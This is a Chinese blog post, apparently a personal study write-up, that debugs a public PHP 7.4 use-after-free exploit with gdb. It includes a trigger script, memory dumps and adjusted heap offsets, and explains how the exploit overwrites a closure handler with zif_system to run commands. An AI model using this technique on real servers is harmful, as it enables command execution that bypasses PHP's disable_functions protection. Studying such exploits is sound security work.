前言

没什么,想学就学了。

exp:https://github.com/mm0r1/exploits/blob/master/php7-backtrace-bypass/exploit.php


环境

gdb 调试的是 C 层面的代码,而调试 php 又不好看到内存的变化,头疼。看到一个好像调试 cli 模式的 phpdbg,现在用不着,以后再试试。

先开一个 docker 吧:

docker run -id --privileged --name php -p 8080:80 php:7.4.2-apache

修改 /etc/apache2/mods-available/mpm_prefork.conf,减少进程数量:

<IfModule mpm_prefork_module>
    StartServers             1
    MinSpareServers          0
    MaxSpareServers         1
    MaxRequestWorkers      1
    MaxConnectionsPerChild   0
</IfModule>

这次打算调试一下 apache mod_php,需要重新安装 php,生成可以调试的 libphp.so,所以先安装 apache2-dev(有的源可能装不了,我用的是 debian10 的阿里云源),再重新编译安装 php:

./configure --enable-phpdbg-debug --enable-debug --with-apxs2=/usr/bin/apxs2 CFLAGS="-g3 -gdwarf-4"

记得 make 和 make install,然后我们就能看到 /usr/lib/apache2/modules 下面的 libphp.so 更新了。

结果发现 exp 打不通了,一脸懵。没办法,看看它原本的编译方式再来一遍吧。

./configure --build=x86_64-linux-gnu --with-config-file-path=/usr/local/etc/php --with-config-file-scan-dir=/usr/local/etc/php/conf.d --enable-option-checking=fatal --with-mhash --enable-ftp --enable-mbstring --enable-mysqlnd --with-password-argon2 --with-sodium=shared --with-pdo-sqlite=/usr --with-sqlite3=/usr --with-curl --with-libedit --with-openssl --with-zlib --with-pear --with-libdir=lib/x86_64-linux-gnu --with-apxs2 --disable-cgi build_alias=x86_64-linux-gnu --enable-debug CFLAGS="-g3 -gdwarf-4" --enable-phpdbg-debug

还是打不通 -_- ,看来开了 debug 会导致一些内存上的差异。

再试试 php-fpm,官方镜像打不通,我还是自己动手调试一下吧。


本地 PHP - Cli 调试

本地自己编译安装一个 php7.4.2 的 cli,只加了 –prefix 参数,可以读取到符号表,exp 也能打通。初次调试,我也不知道怎么调试比较好,只能一步步来了。先从 exp 修改一个 UAF 的测试脚本,用来看看这些变量的地址关系:

<?php
pwn("id");

function pwn($cmd) {
    global $abc, $helper, $backtrace;

    class Vuln {
        public $a;
        public function __destruct() {
            global $backtrace;
            unset($this->a);
            $backtrace = (new Exception)->getTrace(); # ;)
            if(!isset($backtrace[1]['args'])) { # PHP >= 7.4
                $backtrace = debug_backtrace();
            }
        }
    }

    class Helper {
        public $a, $b, $c, $d;
    }

    function str2ptr(&$str, $p = 0, $s = 8) {
        $address = 0;
        for($j = $s-1; $j >= 0; $j--) {
            $address <<= 8;
            $address |= ord($str[$p+$j]);
        }
        return $address;
    }

    function trigger_uaf($arg) {
        # str_shuffle prevents opcache string interning
        $arg = str_repeat('T', 79);
        var_dump($arg);
        $vuln = new Vuln();
        $vuln->a = $arg;
        var_dump($vuln->a);
    }

    trigger_uaf('x');
    $abc = $backtrace[1]['args'][0];
    var_dump($abc);
    $helper = new Helper;
    var_dump($helper);
    $helper->b = function ($x) { };
    var_dump($helper);
    if(strlen($abc) == 79 || strlen($abc) == 0) {
        die("UAF failed");
    }
}

给 php_var_dump 下断点,我们就能在内存中追踪这些变量了。运行编译好的 sapi 下的 php-cli 程序,我们首先可以看到内存中的 $arg 变量的数据是这样一个结构体:

在源码则是这样定义的:

typedef union _zend_value {
    zend_long         lval;                /* long value */
    double            dval;                /* double value */
    zend_refcounted  *counted;
    zend_string      *str;
    zend_array       *arr;
    zend_object      *obj;
    zend_resource    *res;
    zend_reference   *ref;
    zend_ast_ref     *ast;
    zval             *zv;
    void             *ptr;
    zend_class_entry *ce;
    zend_function    *func;
    struct {
        uint32_t w1;
        uint32_t w2;
    } ww;
} zend_value;

struct _zval_struct {
    zend_value        value;            /* value */
    union {
        struct {
            ZEND_ENDIAN_LOHI_3(
                zend_uchar    type,            /* active type */
                zend_uchar    type_flags,
                union {
                    uint16_t  extra;        /* not further specified */
                } u)
        } v;
        uint32_t type_info;
    } u1;
    union {
        uint32_t     next;                 /* hash collision chain */
        uint32_t     cache_slot;           /* cache slot (for RECV_INIT) */
        uint32_t     opline_num;           /* opline number (for FAST_CALL) */
        uint32_t     lineno;               /* line number (for ast nodes) */
        uint32_t     num_args;             /* arguments number for EX(This) */
        uint32_t     fe_pos;               /* foreach position */
        uint32_t     fe_iter_idx;          /* foreach iterator index */
        uint32_t     access_flags;         /* class constant access flags */
        uint32_t     property_guard;       /* single property guard */
        uint32_t     constant_flags;       /* constant flags */
        uint32_t     extra;                /* not further specified */
    } u2;
};

u2 都是 0,暂且不管;u1 是类型相关的数据,6 代表这是个字符串;value 则是变量值,我们可以看到 string 变量 value 中的每种类型基本都表示同一个地址,也就是说各种变量在底层都是不分家的,只靠 type 来将地址处的数据处理成相应的结构体。换句话说两个不同类型的变量指向同一个地址,就会因为类型不同而取出不同的数据。

$arg 是 string,在底层是一个 zend_string 类型,由类型、长度和值等组成:

在源码中则是这样的:

struct _zend_string {
    zend_refcounted_h gc;
    zend_ulong        h;                /* hash value */
    size_t            len;
    char              val[1];
};

有趣的一点是,php 的 strlen 函数获取的实际上就是这里的 len:

ZEND_FUNCTION(strlen)
{
    zend_string *s;

    ZEND_PARSE_PARAMETERS_START(1, 1)
        Z_PARAM_STR(s)
    ZEND_PARSE_PARAMETERS_END();

    RETVAL_LONG(ZSTR_LEN(s));
}
...
#define ZSTR_LEN(zstr)  (zstr)->len

而访问字符串则是访问这里的 val 部分,unset 一个字符串则会把前面的 gc 和 h 部分修改,后面的 len 和 val 不会修改,这里我 unset 了一个 66 长度的字符串(Twings * 11)做测试:

<?php
class Helper {
    public $a;
}
$s = str_repeat("Twings", 11);
var_dump($s);
unset($s);
$helper = new Helper();
var_dump($helper);

结果:

pwndbg> x/20xg 0x7ffff3e7f070
0x7ffff3e7f070:    0x00007ffff3e7f0e0    0x0000000000000000
0x7ffff3e7f080:    0x0000000000000042    0x775473676e697754
0x7ffff3e7f090:    0x6e69775473676e69    0x73676e6977547367
0x7ffff3e7f0a0:    0x775473676e697754    0x6e69775473676e69
0x7ffff3e7f0b0:    0x73676e6977547367    0x775473676e697754
0x7ffff3e7f0c0:    0x6e69775473676e69    0x0000000000007367
0x7ffff3e7f0d0:    0x0000000000000000    0x0000000000000000
0x7ffff3e7f0e0:    0x00007ffff3e7f150    0x0000000000000000
0x7ffff3e7f0f0:    0x0000000000000000    0x0000000000000000
0x7ffff3e7f100:    0x0000000000000000    0x0000000000000000

因为长度没有对上,所以新的 helper 对象并没有覆盖 unset 掉的 $s 字符串的空间,会存放在更小的堆里面。

这里有个问题,为什么需要一个函数来调用 Vuln 类,还需要再一步引用待释放变量和利用 Vuln 的构析函数?因为BUG报告说,错误需要引用计数为 2,且与构析函数有关。具体的涉及 PHP 底层,这里不深入研究。

我们继续运行脚本,会发现,$vuln->a 跟 $abc 的数据指针都指向了 $arg 的地方。再后面,helper 恰好占用了这个被释放的字符串的位置:

按照源码中的定义:

struct _zend_object {
    zend_refcounted_h gc;
    uint32_t          handle; // TODO: may be removed ???
    zend_class_entry *ce;
    const zend_object_handlers *handlers;
    HashTable        *properties;
    zval              properties_table[1];
};

每个成员要占据 0x10 的地址空间,也就是说如果有更多或者更少成员变量,那么这个对象就不会存放在这个能存放长度 79 的字符串的地方。

这里看起来是一个个固定大小的堆,每个堆的开头会有一个指向下一个堆的指针。helper 对象中有 4 个成员变量,而只有一个赋了值,所以其他三个都是 0x0000003000000030 和 0x0000000000000001 组成的未定义数据,而 b 则是一个 zval 类型的数据:

里面放着匿名函数相关的数据,b 实际上是一个 closure_handlers 对象:

以上就是 exp 中用到的几个主要变量的情况,我们用调试函数拿到的 $abc 实际上跟 $helper 指向同一个地方,而 php 底层还是把 $abc 当作一个字符串来看,所以 strlen 和 [] 访问字符串大概就是这么个情况:

所以在 UAF 正常的情况下,strlen($abc) 应该是一个很大的数字。我们继续往下看 exp:

$closure_handlers = str2ptr($abc, 0);
$php_heap = str2ptr($abc, 0x58);
$abc_addr = $php_heap - 0xc8;

$closure_handlers 其实是 std_object_handlers 的地址,这个暂且不提;php_heap 则是下一个堆的头指针,也就是 0x00007ffff3e7f150;将下一个堆的头指针减去偏移的 0x58 + 一个堆的大小 0x70,就可以回到 $abc 处,即拿到 $abc 的地址:

接下来的四步 write 则是在伪造 a,写完之后:

a 变量变成了指向 0x00007ffff3e7f0e8 处的一个 zval:

pwndbg> p (zval)*0x7ffff3e7f098
$4 = {
  value = {
    lval = 140737285452008, 
    dval = 6.9533457830790204e-310, 
    counted = 0x7ffff3e7f0e8, 
    str = 0x7ffff3e7f0e8, 
    arr = 0x7ffff3e7f0e8, 
    obj = 0x7ffff3e7f0e8, 
    res = 0x7ffff3e7f0e8, 
    ref = 0x7ffff3e7f0e8, 
    ast = 0x7ffff3e7f0e8, 
    zv = 0x7ffff3e7f0e8, 
    ptr = 0x7ffff3e7f0e8, 
    ce = 0x7ffff3e7f0e8, 
    func = 0x7ffff3e7f0e8, 
    ww = {
      w1 = 4092063976, 
      w2 = 32767
    }
  }, 
  u1 = {
    v = {
      type = 10 '\n', 
      type_flags = 0 '\000', 
      u = {
        extra = 0
      }
    }, 
    type_info = 10
  }, 
  u2 = {
    next = 0, 
    cache_slot = 0, 
    opline_num = 0, 
    lineno = 0, 
    num_args = 0, 
    fe_pos = 0, 
    fe_iter_idx = 0, 
    access_flags = 0, 
    property_guard = 0, 
    constant_flags = 0, 
    extra = 0
  }
}

a 的类型为 10,即 REFERENCE:

struct _zend_reference {
    zend_refcounted_h              gc;
    zval                           val;
    zend_property_info_source_list sources;
};

这个 REFERENCE 有什么用后面再看,我们继续看 exp,closure_obj 其实就是 b 的地址,接下来则是重头戏的泄露地址:

$binary_leak = leak($closure_handlers, 8);

很明显是使用 $closure_handlers 的地址,即 0x00000000011ff820 处的 std_object_handlers 来泄露,写完数据之后 a 是这个样子的:

0x7ffff3e7f0e0:    0x00007ffff3e7f150    0x0000000000000002
0x7ffff3e7f0f0:    0x00000000011ff818    0x0000000000000006

后面三段就是 a 在内存里面的数据,转换成 ref 类型就是:

pwndbg> p *((zval)*0x7ffff3e7f098)->value->ref
$7 = {
  gc = {
    refcount = 2, 
    u = {
      type_info = 0
    }
  }, 
  val = {
    value = {
      lval = 18872344, 
      dval = 9.3241768268981742e-317, 
      counted = 0x11ff818, 
      str = 0x11ff818, 
      arr = 0x11ff818, 
      obj = 0x11ff818, 
      res = 0x11ff818, 
      ref = 0x11ff818, 
      ast = 0x11ff818, 
      zv = 0x11ff818, 
      ptr = 0x11ff818, 
      ce = 0x11ff818, 
      func = 0x11ff818, 
      ww = {
        w1 = 18872344, 
        w2 = 0
      }
    }, 
    u1 = {
      v = {
        type = 6 '\006', 
        type_flags = 0 '\000', 
        u = {
          extra = 0
        }
      }, 
      type_info = 6
    }, 
    ...
}

也就是说,a 这个 REFENCE 实际上指向了 0x11ff818,调用 strlen 就是把 0x11ff818 处的数据当作了 string 来处理,拿到的就是:

也就是 zend_object_std_dtor 的地址,因为 strlen 返回的是指针 + 0x10 地址处的数据,所以 leak 函数泄露的就是 $addr + $p 地址处的数据。然后是 get_binary_base 函数,从 zend_object_std_dtor 往回搜索 ELF 文件的开头,找到了就是程序基地址,一共搜索 0x1000000 的地址,而 zend_object_std_dtor 函数的地址在没有 PIE 的情况下是 0x6d0ac0,所以一般都能找得到。接下来是 parse_elf,看名字是个解析 elf 文件的函数,看不懂,反正 ELF 格式也差不多,就跳过好了。

下面是根据解析 ELF 之后获得的 data 段 address、size 之类的数据获取函数基地址,同样也是搜索,开头是在 data 段前方:

而结束的地方已经过了 bss 段,所以一般也能搜索得到。在 data 段里面可以看到有很多 zend_function_entry 都在这里,zend_function_entry 是 php 底层存储函数的结构体:

typedef struct _zend_function_entry {
    const char *fname;
    zif_handler handler;
    const struct _zend_internal_arg_info *arg_info;
    uint32_t num_args;
    uint32_t flags;
} zend_function_entry;

fname 是函数名,handler 就是存放在内存里面的函数实现了,所以只要找到 system 函数的 handler 地址,然后用它替换掉 b ,就可以执行系统命令了。zend_function_entry 在内存是这样存放的:

constant 和 bin2hex 就在 basic_functions 附近,所以可以通过搜索这两个函数来定位 basic_functions。同时我们可以看到 basic_functions 是一个函数数组,而 system 函数也位于 basic_functions 内:

  }, {
    fname = 0xd93688 "exec", 
    handler = 0x5cf7a0 <zif_exec>, 
    arg_info = 0x11931e0 <arginfo_exec>, 
    num_args = 3, 
    flags = 0
  }, {
    fname = 0xd9365d "system", 
    handler = 0x5cf7b0 <zif_system>, 
    arg_info = 0x1193180 <arginfo_system>, 
    num_args = 2, 
    flags = 0
  }, {
    fname = 0xd93664 "escapeshellcmd", 
    handler = 0x5cfd60 <zif_escapeshellcmd>, 
    arg_info = 0x11930e0 <arginfo_escapeshellcmd>, 
    num_args = 1, 
    flags = 0
  }, {
    fname = 0xd93673 "escapeshellarg", 
    handler = 0x5cfe80 <zif_escapeshellarg>, 
    arg_info = 0x11930a0 <arginfo_escapeshellarg>, 
    num_args = 1, 
    flags = 0
  }, {
    fname = 0xd8f699 "passthru", 
    handler = 0x5cf7c0 <zif_passthru>, 
    arg_info = 0x1193120 <arginfo_passthru>, 
    num_args = 2, 
    flags = 0
  }, {
    fname = 0xd93682 "shell_exec", 
    handler = 0x5cff70 <zif_shell_exec>, 
    arg_info = 0x1193060 <arginfo_shell_exec>, 
    num_args = 1, 
    flags = 0
  }, {
    fname = 0xd9368d "proc_open", 
    handler = 0x626af0 <zif_proc_open>, 
    arg_info = 0x118fbe0 <arginfo_proc_open>, 
    num_args = 6, 
    flags = 0
  }, {

所以同样地从 basic_functions 往后搜索,我们就能拿到 system 函数的地址了。

接下来我们就要把 system 函数写到 b 上面。因为下个空块已经用来泄露地址了,所以 exp 的做法是在下下个空块直接伪造一个新的对象,首先把整个 b 复制过去,b 的定义如下:

typedef struct _zend_closure {
    zend_object       std;
    zend_function     func;
    zval              this_ptr;
    zend_class_entry *called_scope;
    zif_handler       orig_internal_handler;
} zend_closure;

长度可以在 gdb 里面计算出来,为 0x130。然后 system 函数地址要填在哪里呢?

exp 是覆盖了 func->internal_function.handler,我们在源码里搜索也能看到 zend 里面有大量调用这个函数的地方,internal_function 是个这样的结构体:

typedef struct _zend_internal_function {
    /* Common elements */
    zend_uchar type;
    zend_uchar arg_flags[3]; /* bitset of arg_info.pass_by_reference */
    uint32_t fn_flags;
    zend_string* function_name;
    zend_class_entry *scope;
    zend_function *prototype;
    uint32_t num_args;
    uint32_t required_num_args;
    zend_internal_arg_info *arg_info;
    /* END of common elements */

    zif_handler handler;
    struct _zend_module_entry *module;
    void *reserved[ZEND_MAX_RESERVED_RESOURCES];
} zend_internal_function;

可以看到跟参数有关的几个数据:num_args、required_num_args、*arg_info,handler 则是调用的函数。一般情况下 type 为 2,代表是用户函数,而 handler 则是一个无法访问的地址(在 7.2.11 好像是正常的地址),exp 将 type 修改为 1 代表内部函数,再将 system 地址写到 handler 上面之后,php 就会通过 ZEND_DO_FCALL_SPEC_RETVAL_UNUSED_HANDLER 调用它,最后调用的就是 php 自己实现的 system 函数。具体的执行流程涉及底层 zend 虚拟机、op 之类的东西,我不懂就不研究了。


调试开启 debug 的 apache mod_php

漏洞算是调通了,现在试试调一下之前调不通的情况,到 write($abc, 0x10, $abc_addr + 0x60); 这一步的时候,问题已经很明显了:

pwndbg> x/40xg 0x7fae5bc68000
0x7fae5bc68000:    0x0000001800000001    0x0000000000000000
0x7fae5bc68010:    0x00007fae5bc023d8    0x00007fae5b77cec0
0x7fae5bc68020:    0x0000000000000000    0xffffffffffffff98
0x7fae5bc68030:    0x000000000000000a    0x00007fae5bc74c00
0x7fae5bc68040:    0x0000000000000308    0x00007ffdf2695d60
0x7fae5bc68050:    0x0000000000000001    0x00007ffdf2695d60
0x7fae5bc68060:    0x0000000000000001    0x0000000000000000
0x7fae5bc68070:    0x0000000000000000    0x0000000000000002
0x7fae5bc68080:    0x0000000000000068    0x0000000000000006
0x7fae5bc68090:    0x0000000000000000    0x00000000000000c4
0x7fae5bc680a0:    0x00007fae5bc5e100    0x00007fae5bc81f80
0x7fae5bc680b0:    0x00007fae5bc5e140    0x00007fae5bc82730
0x7fae5bc680c0:    0x00007fae5bc58e10    0x00007fae5bc58e60
0x7fae5bc680d0:    0x00007fae5bc58eb0    0x00007fae5bc82050
0x7fae5bc680e0:    0x00007fae5bc58a50    0x00007fae5bc5eac0
0x7fae5bc680f0:    0x00007fae5bc804c0    0x00007fae5bc58b40
0x7fae5bc68100:    0x00007fae5bc823c0    0x00007fae5bc82550
0x7fae5bc68110:    0x0000555ef2e0eeb0    0x0000000000000000
0x7fae5bc68120:    0x0000000000000078    0x00007fae5b627628
0x7fae5bc68130:    0x0000000000000000    0x0000000000000376

exp 不通的原因就是现在内存分配方式跟之前不同了,新建的 helper 对象并没有分配到堆链里面,也就找不到每个堆的头指针,所以计算 $abc 地址的时候就会出错,变成 0x0 - 0xc8,a 指向的 $abc_addr + 0x60 就变成了一个超出范围的地址 0xffffffffffffff98,导致了程序崩溃。

所以我们需要换一个方式来计算 $abc 地址,我们往下看,可以看到下面有大小为 0xa0 的堆块:

所以我们修改一下 php_heap 和 abc_addr 的计算方式:

$php_heap = str2ptr($abc, 0x1c8);
$abc_addr = $php_heap - 0x1c8 - 0xa0;

然后再测试:

exp 没问题,能打通了,good。


php-fpm

php-fpm 不加 debug 都打不通,加上 debug 调试一番,好像解析 ELF 出了问题,找不到头,不懂。

要用的时候查看版本和编译参数,然后直接通过偏移来算好了。


Orz